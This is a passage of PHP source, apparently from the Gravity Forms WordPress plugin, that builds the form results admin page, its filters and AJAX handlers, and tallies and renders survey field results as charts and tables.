$link_class = 'gf_toolbar_active';
|
||||
}
|
||||
|
||||
$id = rgget( 'id' );
|
||||
if ( empty( $id ) ) {
|
||||
//on the form list page, do not use icons
|
||||
$icon = '';
|
||||
} else {
|
||||
$icon = $this->_icon;
|
||||
if ( empty( $icon ) ) {
|
||||
$icon = '<i class="fa fa-bar-chart-o fa-lg"></i>';
|
||||
}
|
||||
}
|
||||
|
||||
$sub_menu_items = array();
|
||||
$sub_menu_items[] = array(
|
||||
'label' => $this->_title,
|
||||
'icon' => $icon,
|
||||
'title' => esc_html__( 'View results generated by this form', 'gravityforms' ),
|
||||
'link_class' => $link_class,
|
||||
'url' => admin_url( "admin.php?page=gf_entries&view=gf_results_{$this->_slug}&id={$form_id}" ),
|
||||
'capabilities' => $this->_capabilities,
|
||||
);
|
||||
|
||||
$duplicate_submenus = wp_filter_object_list( rgars( $menu_items, 'results/sub_menu_items' ), array( 'label' => $sub_menu_items[0]['label'] ) );
|
||||
if ( count( $duplicate_submenus ) > 0 ) {
|
||||
return $menu_items;
|
||||
}
|
||||
|
||||
// If there's already a menu item with the key "results" then merge the two.
|
||||
if ( isset( $menu_items['results'] ) ) {
|
||||
$existing_link_class = $menu_items['results']['link_class'];
|
||||
$link_class == empty( $existing_link_class ) ? $link_class : $existing_link_class;
|
||||
$existing_capabilities = $menu_items['results']['capabilities'];
|
||||
$merged_capabilities = array_merge( $existing_capabilities, $this->_capabilities );
|
||||
$existing_sub_menu_items = $menu_items['results']['sub_menu_items'];
|
||||
$merged_sub_menu_items = array_merge( $existing_sub_menu_items, $sub_menu_items );
|
||||
$menu_items['results']['link_class'] = $link_class;
|
||||
$menu_items['results']['capabilities'] = $merged_capabilities;
|
||||
$menu_items['results']['sub_menu_items'] = $merged_sub_menu_items;
|
||||
$menu_items['results']['label'] = esc_html__( 'Results', 'gravityforms' );
|
||||
$menu_items['results']['icon'] = '<i class="fa fa-bar-chart-o fa-lg"></i>';
|
||||
|
||||
} else {
|
||||
// so far during the page cycle this is the only menu item for this key
|
||||
$menu_items['results'] = array(
|
||||
'label' => $compact ? esc_html__( 'Results', 'gravityforms' ) : $this->_title,
|
||||
'icon' => $icon,
|
||||
'title' => esc_attr__( 'View results generated by this form', 'gravityforms' ),
|
||||
'url' => '',
|
||||
'onclick' => 'return false;',
|
||||
'onkeypress' => 'return false;',
|
||||
'menu_class' => 'gf_form_toolbar_results',
|
||||
'link_class' => $link_class,
|
||||
'capabilities' => $this->_capabilities,
|
||||
'sub_menu_items' => $sub_menu_items,
|
||||
'priority' => 750,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return $menu_items;
|
||||
}
|
||||
|
||||
|
||||
public function add_view( $view, $form_id ) {
|
||||
if ( $view == 'gf_results_' . $this->_slug ) {
|
||||
$form_id = absint( $form_id );
|
||||
GFResults::results_page( $form_id, $this->_title, 'gf_entries', $view );
|
||||
}
|
||||
}
|
||||
|
||||
public function results_page( $form_id, $page_title, $gf_page, $gf_view ) {
|
||||
$form_id = absint( $form_id );
|
||||
if ( empty( $form_id ) ) {
|
||||
$forms = RGFormsModel::get_forms();
|
||||
if ( ! empty( $forms ) ) {
|
||||
$form_id = $forms[0]->id;
|
||||
}
|
||||
}
|
||||
$form = GFFormsModel::get_form_meta( $form_id );
|
||||
$form = gf_apply_filters( array( 'gform_form_pre_results', $form_id ), $form );
|
||||
|
||||
// Set up filter vars
|
||||
$start_date = preg_replace( '/[^0-9-]/', '', rgget( 'start' ) );
|
||||
$end_date = preg_replace( '/[^0-9-]/', '', rgget( 'end' ) );
|
||||
|
||||
$all_fields = $form['fields'];
|
||||
|
||||
$filter_settings = GFCommon::get_field_filter_settings( $form );
|
||||
$filter_settings = apply_filters( 'gform_filters_pre_results', $filter_settings, $form );
|
||||
$filter_settings = array_values( $filter_settings ); // reset the numeric keys in case some filters have been unset
|
||||
|
||||
$filter_fields = rgget( 'f' );
|
||||
$filter_operators = rgget( 'o' );
|
||||
$filter_values = rgget( 'v' );
|
||||
$filters = array();
|
||||
|
||||
$init_vars = array();
|
||||
if ( ! empty( $filter_fields ) ) {
|
||||
$init_vars['mode'] = rgget( 'mode' );
|
||||
foreach ( $filter_fields as $i => $filter_field ) {
|
||||
$filters[ $i ]['field'] = $filter_field;
|
||||
$filters[ $i ]['operator'] = $filter_operators[ $i ];
|
||||
$filters[ $i ]['value'] = $filter_values[ $i ];
|
||||
}
|
||||
$init_vars['filters'] = $filters;
|
||||
}
|
||||
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';
|
||||
$admin_css_url = GFCommon::get_base_url() . "/css/admin{$min}.css?ver=" . GFForms::$version;
|
||||
?>
|
||||
<script type="text/javascript">
|
||||
var gresultsFields = <?php echo json_encode( $all_fields ); ?>;
|
||||
var gresultsFilterSettings = <?php echo json_encode( $filter_settings ); ?>;
|
||||
var gresultsInitVars = <?php echo json_encode( $init_vars ); ?>;
|
||||
|
||||
<?php GFCommon::gf_global() ?>
|
||||
<?php GFCommon::gf_vars() ?>
|
||||
</script>
|
||||
|
||||
<link rel="stylesheet"
|
||||
href="<?php echo esc_url( $admin_css_url ); ?>"
|
||||
type="text/css"/>
|
||||
<div class="wrap gforms_edit_form <?php echo GFCommon::get_browser_class() ?>">
|
||||
|
||||
<?php GFCommon::form_page_title( $form ); ?>
|
||||
<?php GFCommon::display_dismissible_message(); ?>
|
||||
<?php GFForms::top_toolbar(); ?>
|
||||
<?php if ( false === empty( $all_fields ) ) : ?>
|
||||
|
||||
<div id="poststuff" class="metabox-holder has-right-sidebar">
|
||||
<div id="side-info-column" class="inner-sidebar">
|
||||
<div id="gresults-results-filter" class="postbox">
|
||||
<h3 style="cursor: default;"><?php echo $this->_search_title ?></h3>
|
||||
|
||||
<div id="gresults-results-filter-content">
|
||||
<form id="gresults-results-filter-form" action="" method="GET">
|
||||
<?php wp_nonce_field( 'gf_results', '_gf_results_nonce' ); ?>
|
||||
<input type="hidden" id="gresults-page-slug" name="page"
|
||||
value="<?php echo esc_attr( $gf_page ); ?>">
|
||||
<input type="hidden" id="gresults-view-slug" name="view"
|
||||
value="<?php echo esc_attr( $gf_view ); ?>">
|
||||
<input type="hidden" id="gresults-form-id" name="id"
|
||||
value="<?php echo esc_attr( $form_id ); ?>">
|
||||
|
||||
<?php
|
||||
$filter_ui = array(
|
||||
'fields' => array(
|
||||
'label' => esc_attr__( 'Filters', 'gravityforms' ),
|
||||
'tooltip' => 'gresults_filters',
|
||||
'markup' => '<div id="gresults-results-field-filters-container">
|
||||
<!-- placeholder populated by js -->
|
||||
</div>'
|
||||
),
|
||||
'date_range' => array(
|
||||
'label' => esc_attr__( 'Date Range', 'gravityforms' ),
|
||||
'tooltip' => 'gresults_date_range',
|
||||
'markup' => '<div style="width:90px; float:left; ">
|
||||
<label
|
||||
for="gresults-results-filter-date-start">' . esc_html__( 'Start', 'gravityforms' ) . '</label>
|
||||
<input type="text" id="gresults-results-filter-date-start" name="start"
|
||||
style="width:80px"
|
||||
class="gresults-datepicker"
|
||||
value="' . esc_attr( $start_date ) . '"/>
|
||||
</div>
|
||||
<div style="width:90px; float:left; ">
|
||||
<label
|
||||
for="gresults-results-filter-date-end">' . esc_html__( 'End', 'gravityforms' ) . '</label>
|
||||
<input type="text" id="gresults-results-filter-date-end" name="end"
|
||||
style="width:80px"
|
||||
class="gresults-datepicker"
|
||||
value="' . esc_attr( $end_date ) . '"/>
|
||||
</div>'
|
||||
)
|
||||
|
||||
);
|
||||
|
||||
$filter_ui = apply_filters( 'gform_filter_ui', $filter_ui, $form_id, $page_title, $gf_page, $gf_view );
|
||||
|
||||
foreach ( $filter_ui as $name => $filter ) {
|
||||
?>
|
||||
<div class='gresults-results-filter-section-label'>
|
||||
<?php echo $filter['label'] ?>
|
||||
<?php gform_tooltip( rgar( $filter, 'tooltip' ), 'tooltip_bottomleft' ) ?>
|
||||
</div>
|
||||
<?php
|
||||
echo $filter['markup'];
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
<br style="clear:both"/>
|
||||
|
||||
<div id="gresults-results-filter-buttons">
|
||||
<input type="submit" id="gresults-results-filter-submit-button"
|
||||
class="button button-primary button-large"
|
||||
value="<?php esc_attr_e( 'Apply filters', 'gravityforms' ); ?>">
|
||||
<input type="button" id="gresults-results-filter-clear-button"
|
||||
class="button button-secondary button-large"
|
||||
value="<?php esc_attr_e( 'Clear', 'gravityforms' ); ?>"
|
||||
onclick="gresults.clearFilterForm();"
|
||||
onkeypress="gresults.clearFilterForm();">
|
||||
|
||||
<div class="gresults-filter-loading"
|
||||
style="display:none; float:right; margin-top:5px;">
|
||||
<i class='gficon-gravityforms-spinner-icon gficon-spin'></i>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="gresults-filter-loading" style="display:none;margin:0 5px 10px 0;">
|
||||
<i class='gficon-gravityforms-spinner-icon gficon-spin'></i>
|
||||
<a href="javascript:void(0);" onclick="javascript:gresultsAjaxRequest.abort()" onkeypress="javascript:gresultsAjaxRequest.abort()"><?php esc_html_e( 'Cancel', 'gravityforms' ); ?></a>
|
||||
</div>
|
||||
|
||||
<div id="gresults-results-wrapper">
|
||||
<div id="gresults-results">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?php
|
||||
else :
|
||||
_e( 'This form does not have any fields that can be used for results', 'gravityforms' );
|
||||
endif ?>
|
||||
</div>
|
||||
|
||||
|
||||
<?php
|
||||
}
|
||||
|
||||
public static function add_tooltips( $tooltips ) {
|
||||
$tooltips['gresults_total_score'] = '<h6>' . esc_html__( 'Total Score', 'gravityforms' ) . '</h6>' . esc_html__( 'Scores are weighted calculations. Items ranked higher are given a greater score than items that are ranked lower. The total score for each item is the sum of the weighted scores.', 'gravityforms' );
|
||||
$tooltips['gresults_agg_rank'] = '<h6>' . esc_html__( 'Aggregate Rank', 'gravityforms' ) . '</h6>' . esc_html__( 'The aggregate rank is the overall rank for all entries based on the weighted scores for each item.', 'gravityforms' );
|
||||
$tooltips['gresults_date_range'] = '<h6>' . esc_html__( 'Date Range', 'gravityforms' ) . '</h6>' . esc_html__( 'Date Range is optional, if no date range is specified it will be ignored.', 'gravityforms' );
|
||||
$tooltips['gresults_filters'] = '<h6>' . esc_html__( 'Filters', 'gravityforms' ) . '</h6>' . esc_html__( 'Narrow the results by adding filters. Note that some field types support more options than others.', 'gravityforms' );
|
||||
$tooltips['gresults_average_row_score'] = '<h6>' . esc_html__( 'Average Row Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score for each row: the sum of all the scores for each row divided by the total number of entries.', 'gravityforms' );
|
||||
$tooltips['gresults_average_global_score'] = '<h6>' . esc_html__( 'Average Global Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score for the whole field. The sum of the total scores divided by the number of entries.', 'gravityforms' );
|
||||
$tooltips['gresults_average_score'] = '<h6>' . esc_html__( 'Average Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score: The sum of the scores divided by the number of entries.', 'gravityforms' );
|
||||
|
||||
return $tooltips;
|
||||
}
|
||||
|
||||
|
||||
public function ajax_get_results() {
|
||||
|
||||
check_ajax_referer( 'gf_results', '_gf_results_nonce' );
|
||||
|
||||
if ( ! GFAPI::current_user_can_any( $this->_capabilities ) ) {
|
||||
wp_die( 'Not allowed' );
|
||||
}
|
||||
|
||||
// tooltips
|
||||
require_once( GFCommon::get_base_path() . '/tooltips.php' );
|
||||
add_filter( 'gform_tooltips', array( $this, 'add_tooltips' ) );
|
||||
|
||||
$output = array();
|
||||
$html = '';
|
||||
$form_id = rgpost( 'id' );
|
||||
$form_id = absint( $form_id );
|
||||
$form = GFFormsModel::get_form_meta( $form_id );
|
||||
$form = gf_apply_filters( array( 'gform_form_pre_results', $form_id ), $form );
|
||||
$search_criteria['status'] = 'active';
|
||||
$fields = $this->get_fields( $form );
|
||||
$total_entries = GFAPI::count_entries( $form_id, $search_criteria );
|
||||
if ( $total_entries == 0 ) {
|
||||
$html = esc_html__( 'No results.', 'gravityforms' );
|
||||
} else {
|
||||
$search_criteria = array();
|
||||
$search_criteria['field_filters'] = GFCommon::get_field_filters_from_post( $form );
|
||||
|
||||
$start_date = preg_replace( '/[^0-9-]/', '', rgpost( 'start' ) );
|
||||
$end_date = preg_replace( '/[^0-9-]/', '', rgpost( 'end' ) );
|
||||
|
||||
if ( $start_date ) {
|
||||
$search_criteria['start_date'] = $start_date;
|
||||
}
|
||||
if ( $end_date ) {
|
||||
$search_criteria['end_date'] = $end_date;
|
||||
}
|
||||
|
||||
$search_criteria['status'] = 'active';
|
||||
$output['s'] = http_build_query( $search_criteria );
|
||||
$state_array = null;
|
||||
if ( isset( $_POST['state'] ) ) {
|
||||
$state = $_POST['state'];
|
||||
$posted_check_sum = rgpost( 'checkSum' );
|
||||
$generated_check_sum = self::generate_checksum( $state );
|
||||
$state_array = json_decode( base64_decode( $state ), true );
|
||||
if ( $generated_check_sum !== $posted_check_sum ) {
|
||||
$output['status'] = 'complete';
|
||||
$output['html'] = esc_html__( 'There was an error while processing the entries. Please contact support.', 'gravityforms' );
|
||||
echo json_encode( $output );
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
$data = isset( $this->_callbacks['data'] ) ? call_user_func( $this->_callbacks['data'], $form, $fields, $search_criteria, $state_array ) : $this->get_results_data( $form, $fields, $search_criteria, $state_array );
|
||||
$entry_count = $data['entry_count'];
|
||||
|
||||
if ( 'incomplete' === rgar( $data, 'status' ) ) {
|
||||
$state = base64_encode( json_encode( $data ) );
|
||||
$output['status'] = 'incomplete';
|
||||
$output['stateObject'] = $state;
|
||||
$output['checkSum'] = self::generate_checksum( $state );
|
||||
$output['html'] = sprintf( esc_html__( 'Entries processed: %1$d of %2$d', 'gravityforms' ), rgar( $data, 'offset' ), $entry_count );
|
||||
echo json_encode( $output );
|
||||
die();
|
||||
}
|
||||
|
||||
if ( $total_entries > 0 ) {
|
||||
$html = isset( $this->_callbacks['markup'] ) ? call_user_func( $this->_callbacks['markup'], $html, $data, $form, $fields ) : '';
|
||||
if ( empty( $html ) ) {
|
||||
foreach ( $fields as $field ) {
|
||||
$field_id = $field->id;
|
||||
$html .= "<div class='gresults-results-field' id='gresults-results-field-{$field_id}'>";
|
||||
$html .= "<div class='gresults-results-field-label'>" . esc_html( GFCommon::get_label( $field ) ) . '</div>';
|
||||
$html .= '<div>' . self::get_field_results( $form_id, $data, $field, $search_criteria ) . '</div>';
|
||||
$html .= '</div>';
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$html .= esc_html__( 'No results', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
|
||||
$output['html'] = $html;
|
||||
$output['status'] = 'complete';
|
||||
$output['searchCriteria'] = $search_criteria;
|
||||
echo json_encode( $output );
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
public function ajax_get_more_results() {
|
||||
|
||||
check_ajax_referer( 'gf_results', '_gf_results_nonce' );
|
||||
|
||||
if ( ! GFAPI::current_user_can_any( $this->_capabilities ) ) {
|
||||
wp_die( 'Not allowed' );
|
||||
}
|
||||
|
||||
$form_id = rgpost( 'form_id' );
|
||||
$field_id = rgpost( 'field_id' );
|
||||
$offset = rgpost( 'offset' );
|
||||
$search_criteria = rgpost( 'search_criteria' );
|
||||
|
||||
if ( empty( $search_criteria ) ) {
|
||||
$search_criteria = array();
|
||||
}
|
||||
$page_size = 10;
|
||||
|
||||
$form = RGFormsModel::get_form_meta( $form_id );
|
||||
$form_id = $form['id'];
|
||||
$field = RGFormsModel::get_field( $form, $field_id );
|
||||
$more_remaining = false;
|
||||
$html = self::get_default_field_results( $form_id, $field, $search_criteria, $offset, $page_size, $more_remaining );
|
||||
|
||||
$response = array();
|
||||
$response['more_remaining'] = $more_remaining;
|
||||
$response['html'] = $html;
|
||||
$response['offset'] = $offset;
|
||||
|
||||
echo json_encode( $response );
|
||||
die();
|
||||
}
|
||||
|
||||
private static function generate_checksum( $data ) {
|
||||
return wp_hash( crc32( ( $data ) ) );
|
||||
}
|
||||
|
||||
|
||||
public static function get_total_entries( $form ) {
|
||||
$totals = RGFormsModel::get_form_counts( $form['id'] );
|
||||
|
||||
return $totals['total'];
|
||||
}
|
||||
|
||||
public static function get_field_results( $form_id, $data, $field, $search_criteria ) {
|
||||
|
||||
if ( empty( $data['entry_count'] ) || empty ( $data['field_data'] ) ) {
|
||||
return esc_html__( 'No entries for this field', 'gravityforms' );
|
||||
}
|
||||
|
||||
$field_data = $data['field_data'];
|
||||
$entry_count = $data['entry_count'];
|
||||
|
||||
if ( empty( $field_data[ $field->id ] ) ) {
|
||||
return esc_html__( 'No entries for this field', 'gravityforms' );
|
||||
}
|
||||
|
||||
$field_results = '';
|
||||
|
||||
$field_type = GFFormsModel::get_input_type( $field );
|
||||
switch ( $field_type ) {
|
||||
case 'radio' :
|
||||
case 'checkbox' :
|
||||
case 'select' :
|
||||
case 'rating' :
|
||||
case 'multiselect' :
|
||||
$results = $field_data[ $field->id ];
|
||||
$non_zero_results = is_array( $results ) ? array_filter( $results ) : $results;
|
||||
if ( empty( $non_zero_results ) ) {
|
||||
$field_results .= esc_html__( 'No entries for this field', 'gravityforms' );
|
||||
|
||||
return $field_results;
|
||||
}
|
||||
$choices = $field->choices;
|
||||
|
||||
$data_table = array();
|
||||
$data_table [] = array( esc_html__( 'Choice', 'gravityforms' ), esc_html__( 'Frequency', 'gravityforms' ) );
|
||||
|
||||
foreach ( $choices as $choice ) {
|
||||
$text = $choice['text'];
|
||||
$val = $results[ $choice['value'] ];
|
||||
$data_table [] = array( $text, $val );
|
||||
}
|
||||
|
||||
$bar_height = 40;
|
||||
$chart_area_height = ( count( $choices ) * $bar_height );
|
||||
|
||||
$chart_options = array(
|
||||
'isStacked' => true,
|
||||
'height' => ( $chart_area_height + $bar_height ),
|
||||
'chartArea' => array(
|
||||
'top' => 0,
|
||||
'left' => 200,
|
||||
'height' => $chart_area_height,
|
||||
'width' => '100%',
|
||||
),
|
||||
'series' => array(
|
||||
'0' => array(
|
||||
'color' => 'silver',
|
||||
'visibleInLegend' => 'false',
|
||||
)
|
||||
),
|
||||
'hAxis' => array(
|
||||
'viewWindowMode' => 'explicit',
|
||||
'viewWindow' => array( 'min' => 0 ),
|
||||
'title' => esc_html__( 'Frequency', 'gravityforms' ),
|
||||
)
|
||||
|
||||
);
|
||||
|
||||
$data_table_json = htmlentities( json_encode( $data_table ), ENT_QUOTES, 'UTF-8', true );
|
||||
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
|
||||
$div_id = 'gresults-results-chart-field-' . $field->id;
|
||||
$height = ''; // = sprintf("height:%dpx", (count($choices) * $bar_height));
|
||||
|
||||
$field_results .= sprintf( '<div class="gresults-chart-wrapper" style="width: 100%%;%s" id=%s data-datatable=\'%s\' data-options=\'%s\' data-charttype="bar" ></div>', $height, $div_id, $data_table_json, $options_json );
|
||||
|
||||
|
||||
break;
|
||||
case 'likert' :
|
||||
$results = $field_data[ $field->id ];
|
||||
$multiple_rows = $field->gsurveyLikertEnableMultipleRows ? true : false;
|
||||
$scoring_enabled = $field->gsurveyLikertEnableScoring && class_exists( 'GFSurvey' ) ? true : false;
|
||||
|
||||
$n = 100;
|
||||
|
||||
$xr = 255;
|
||||
$xg = 255;
|
||||
$xb = 255;
|
||||
|
||||
$yr = 100;
|
||||
$yg = 250;
|
||||
$yb = 100;
|
||||
|
||||
$field_results .= "<div class='gsurvey-likert-field-results'>";
|
||||
$field_results .= "<table class='gsurvey-likert'>";
|
||||
$field_results .= '<tr>';
|
||||
if ( $multiple_rows ) {
|
||||
$field_results .= '<td></td>';
|
||||
}
|
||||
|
||||
foreach ( $field->choices as $choice ) {
|
||||
$field_results .= "<td class='gsurvey-likert-choice-label'>" . $choice['text'] . '</td>';
|
||||
}
|
||||
|
||||
if ( $multiple_rows && $scoring_enabled ) {
|
||||
$field_results .= sprintf( '<td>%s %s</td>', esc_html__( 'Average Score', 'gravityforms' ), gform_tooltip( 'gresults_average_row_score', null, true ) );
|
||||
}
|
||||
|
||||
$field_results .= '</tr>';
|
||||
|
||||
foreach ( $field->gsurveyLikertRows as $row ) {
|
||||
$row_text = $row['text'];
|
||||
$row_value = $row['value'];
|
||||
$max = 0;
|
||||
foreach ( $field->choices as $choice ) {
|
||||
if ( $multiple_rows ) {
|
||||
$choice_value = rgar( $choice, 'value' );
|
||||
$results_row = rgar( $results, $row_value );
|
||||
$results_for_choice = rgar( $results_row, $choice_value );
|
||||
$max = max( array( $max, $results_for_choice ) );
|
||||
} else {
|
||||
$max = max( array( $max, $results[ $choice['value'] ] ) );
|
||||
}
|
||||
}
|
||||
|
||||
$field_results .= '<tr>';
|
||||
|
||||
if ( $multiple_rows ) {
|
||||
$field_results .= "<td class='gsurvey-likert-row-label'>" . $row_text . '</td>';
|
||||
}
|
||||
|
||||
foreach ( $field->choices as $choice ) {
|
||||
$val = $multiple_rows ? $results[ $row_value ][ $choice['value'] ] : $results[ $choice['value'] ];
|
||||
$percent = $max > 0 ? round( $val / $max * 100, 0 ) : 0;
|
||||
$red = (int) ( ( $xr + ( ( $percent * ( $yr - $xr ) ) / ( $n - 1 ) ) ) );
|
||||
$green = (int) ( ( $xg + ( ( $percent * ( $yg - $xg ) ) / ( $n - 1 ) ) ) );
|
||||
$blue = (int) ( ( $xb + ( ( $percent * ( $yb - $xb ) ) / ( $n - 1 ) ) ) );
|
||||
$clr = 'rgb(' . $red . ',' . $green . ',' . $blue . ')';
|
||||
$field_results .= "<td class='gsurvey-likert-results' style='background-color:{$clr}'>" . $val . '</td>';
|
||||
}
|
||||
|
||||
if ( $multiple_rows && $scoring_enabled ) {
|
||||
$row_sum = $results[ $row_value ]['row_score_sum'];
|
||||
$average_row_score = $row_sum == 0 ? 0 : round( $row_sum / $entry_count, 3 );
|
||||
$field_results .= "<td class='gsurvey-likert-results'>" . $average_row_score . '</td>';
|
||||
}
|
||||
|
||||
$field_results .= '</tr>';
|
||||
|
||||
if ( false === $multiple_rows ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$field_results .= '</table>';
|
||||
$field_results .= '</div>';
|
||||
|
||||
if ( $scoring_enabled ) {
|
||||
$sum = $results['sum_of_scores'];
|
||||
$average_score = $sum == 0 ? 0 : round( $sum / $entry_count, 3 );
|
||||
if ( $multiple_rows ) {
|
||||
$average_global_score_tooltip = gform_tooltip( 'gresults_average_global_score', null, true );
|
||||
$field_results .= sprintf( "<div class='gsurvey-likert-score'>%s %s: %s</div>", esc_html__( 'Average global score', 'gravityforms' ), $average_global_score_tooltip, $average_score );
|
||||
} else {
|
||||
$field_results .= sprintf( "<div class='gsurvey-likert-score'>%s %s: %s</div>", esc_html__( 'Average score', 'gravityforms' ), gform_tooltip( 'gresults_average_score', null, true ), $average_score );
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
case 'rank' :
|
||||
$results = $field_data[ $field->id ];
|
||||
arsort( $results );
|
||||
$field_results .= "<div class='gsurvey-rank-field-results'>";
|
||||
$field_results .= ' <table>';
|
||||
$field_results .= " <tr class='gresults-results-field-table-header'>";
|
||||
$field_results .= " <td class='gresults-rank-field-label'>";
|
||||
$field_results .= esc_html__( 'Item', 'gravityforms' );
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= " <td class='gresults-rank-field-score'>";
|
||||
$field_results .= esc_html__( 'Total Score', 'gravityforms' ) . ' ' . gform_tooltip( 'gresults_total_score', null, true );
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= " <td class='gresults-rank-field-rank'>";
|
||||
$field_results .= esc_html__( 'Aggregate Rank', 'gravityforms' ) . ' ' . gform_tooltip( 'gresults_agg_rank', null, true );
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= ' </tr>';
|
||||
|
||||
$agg_rank = 1;
|
||||
foreach ( $results as $choice_val => $score ) {
|
||||
$field_results .= '<tr>';
|
||||
$field_results .= " <td class='gresults-rank-field-label' style='text-align:left;'>";
|
||||
$field_results .= RGFormsModel::get_choice_text( $field, $choice_val );
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= " <td class='gresults-rank-field-score'>";
|
||||
$field_results .= $score;
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= " <td class='gresults-rank-field-rank'>";
|
||||
$field_results .= $agg_rank;
|
||||
$field_results .= ' </td>';
|
||||
$field_results .= '</tr>';
|
||||
$agg_rank ++;
|
||||
}
|
||||
$field_results .= '</table>';
|
||||
$field_results .= '</div>';
|
||||
|
||||
break;
|
||||
default :
|
||||
$page_size = 5;
|
||||
$offset = 0;
|
||||
$field_id = $field->id;
|
||||
$more_remaining = false;
|
||||
$default_field_results = self::get_default_field_results( $form_id, $field, $search_criteria, $offset, $page_size, $more_remaining );
|
||||
|
||||
$field_results .= "<div class='gresults-results-field-sub-label'>" . esc_html__( 'Latest values:', 'gravityforms' ) . '</div>';
|
||||
|
||||
$field_results .= "<ul id='gresults-results-field-content-{$field_id}' class='gresults-results-field-content' data-offset='{$offset}'>";
|
||||
|
||||
$field_results .= $default_field_results;
|
||||
$field_results .= '</ul>';
|
||||
|
||||
if ( $more_remaining ) {
|
||||
$field_results .= "<a id='gresults-results-field-more-link-{$field_id}' class='gresults-results-field-more-link' href='javascript:void(0)' onclick='gresults.getMoreResults({$form_id},{$field_id})' onkeypress='gresults.getMoreResults({$form_id},{$field_id})'>" . esc_html__( 'Show more', 'gravityforms' ) . '</a>';
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return $field_results;
|
||||
|
||||
}
|
||||
|
||||
public function get_results_data( $form, $fields, $search_criteria = array(), $state_array = array(), $max_execution_time = 15 /* seconds */ ) {
|
||||
// todo: add hooks to modify $max_execution_time and $page_size?
|
||||
|
||||
$page_size = 150;
|
||||
|
||||
$time_start = microtime( true );
|
||||
|
||||
$form_id = $form['id'];
|
||||
$data = array();
|
||||
$offset = 0;
|
||||
$entry_count = 0;
|
||||
$field_data = array();
|
||||
|
||||
|
||||
if ( $state_array ) {
|
||||
//get counts from state
|
||||
$data = $state_array;
|
||||
$offset = (int) rgar( $data, 'offset' );
|
||||
|
||||
unset( $data['offset'] );
|
||||
$entry_count = $offset;
|
||||
$field_data = rgar( $data, 'field_data' );
|
||||
} else {
|
||||
//initialize counts
|
||||
foreach ( $fields as $field ) {
|
||||
$field_type = GFFormsModel::get_input_type( $field );
|
||||
if ( false === isset( $field->choices ) ) {
|
||||
$field_data[ $field->id ] = 0;
|
||||
continue;
|
||||
}
|
||||
$choices = $field->choices;
|
||||
|
||||
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableMultipleRows' ) ) {
|
||||
foreach ( $field->gsurveyLikertRows as $row ) {
|
||||
foreach ( $choices as $choice ) {
|
||||
$field_data[ $field->id ][ $row['value'] ][ $choice['value'] ] = 0;
|
||||
}
|
||||
if ( rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
|
||||
$field_data[ $field->id ][ $row['value'] ]['row_score_sum'] = 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ( ! empty( $choices ) && is_array( $choices ) ) {
|
||||
foreach ( $choices as $choice ) {
|
||||
$field_data[ $field->id ][ $choice['value'] ] = 0;
|
||||
}
|
||||
} else {
|
||||
$field_data[ $field->id ] = 0;
|
||||
}
|
||||
}
|
||||
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
|
||||
$field_data[ $field->id ]['sum_of_scores'] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$count_search_leads = GFAPI::count_entries( $form_id, $search_criteria );
|
||||
$data['entry_count'] = $count_search_leads;
|
||||
|
||||
$entries_left = $count_search_leads - $offset;
|
||||
|
||||
while ( $entries_left > 0 ) {
|
||||
|
||||
$paging = array(
|
||||
'offset' => $offset,
|
||||
'page_size' => $page_size,
|
||||
);
|
||||
|
||||
$search_leads_time_start = microtime( true );
|
||||
$leads = GFFormsModel::search_leads( $form_id, $search_criteria, null, $paging );
|
||||
$search_leads_time_end = microtime( true );
|
||||
$search_leads_time = $search_leads_time_end - $search_leads_time_start;
|
||||
|
||||
$leads_in_search = count( $leads );
|
||||
|
||||
$entry_count += $leads_in_search;
|
||||
$leads_processed = 0;
|
||||
foreach ( $leads as $lead ) {
|
||||
|
||||
$lead_time_start = microtime( true );
|
||||
foreach ( $fields as $field ) {
|
||||
$field_type = GFFormsModel::get_input_type( $field );
|
||||
$field_id = $field->id;
|
||||
$value = RGFormsModel::get_lead_field_value( $lead, $field );
|
||||
|
||||
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableMultipleRows' ) ) {
|
||||
|
||||
if ( empty( $value ) ) {
|
||||
continue;
|
||||
}
|
||||
foreach ( $value as $value_vector ) {
|
||||
if ( empty( $value_vector ) ) {
|
||||
continue;
|
||||
}
|
||||
list( $row_val, $col_val ) = explode( ':', $value_vector, 2 );
|
||||
if ( isset( $field_data[ $field->id ][ $row_val ] ) && isset( $field_data[ $field->id ][ $row_val ][ $col_val ] ) ) {
|
||||
$field_data[ $field->id ][ $row_val ][ $col_val ] ++;
|
||||
if ( $field->gsurveyLikertEnableScoring ) {
|
||||
$field_data[ $field->id ][ $row_val ]['row_score_sum'] += $this->get_likert_row_score( $row_val, $field, $lead );
|
||||
}
|
||||
}
|
||||
}
|
||||
} elseif ( $field_type == 'rank' ) {
|
||||
$score = count( rgar( $field, 'choices' ) );
|
||||
$values = explode( ',', $value );
|
||||
foreach ( $values as $ranked_value ) {
|
||||
$field_data[ $field->id ][ $ranked_value ] += $score;
|
||||
$score --;
